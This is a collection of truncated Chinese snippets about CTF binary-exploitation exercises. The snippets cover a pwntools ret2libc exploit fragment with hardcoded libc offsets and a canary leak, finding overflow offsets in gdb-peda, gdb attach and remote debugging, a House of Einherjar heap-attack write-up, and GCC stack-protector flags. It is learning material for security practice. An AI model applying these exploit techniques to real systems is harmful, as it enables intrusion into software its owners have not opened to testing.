利用我们pwn实验2的ret2libc,编写EXP: frompwnimport*context(log_level='debug', arch ='i386', os ='linux') libc_base=0xf7dc9000system=libc_base+0x0045830bash=libc_base+0x00192352io=process('./ex2') io.recvuntil("Hello Hacker!\n") io.sendline('a'*100) io.recvuntil('a'*100) Canary...
使用gdb-peda获取buf到ret的偏移为:24(命令:pattern_create 200,pattern_offset) 获取success函数的地址: 方法一:gdb查看方法信息 方法二:IDA PRO查看函数地址 方法三:用PWN的ELF.sym获取success函数地址(推荐,当开启PIE时前两个办法会失效) EXP: frompwnimport*context(log_level='debug',arch='i386',os='linu...
在调试PWN题时,通过attach pid来追踪要调试的进程。gdb通过执行 ptrace(PTRACE_ATTACH,pid, 0, 0) 来对目标进程进行追踪。 3、gdb server的target remote 在gdb+qemu调试内核时,经常用到target remote来attach到qemu上对vmlinux进行调试。二者之间有特殊的定义好的数据信息通信的格式,进行通信。

参考链接:https://wiki.x10sec.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar/ 有话要说:House Of Einherjar是一种功能强大的堆攻击方式,但CTF Wiki中并没有对该攻击方式的例题与脚本出详细解释。为了方便大家的学习,我将用我自己写的脚本对本题目做出详细解答。
ctfwiki-pwn：canary ctfwiki-pwn：canary GCC 中使⽤以下参数设置 Canary:-fstack-protector 启⽤保护，不过只为局部变量中含有数组的函数插⼊保护 -fstack-protector-all 启⽤保护，为所有函数插⼊保护 -fstack-protector-strong -fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护...
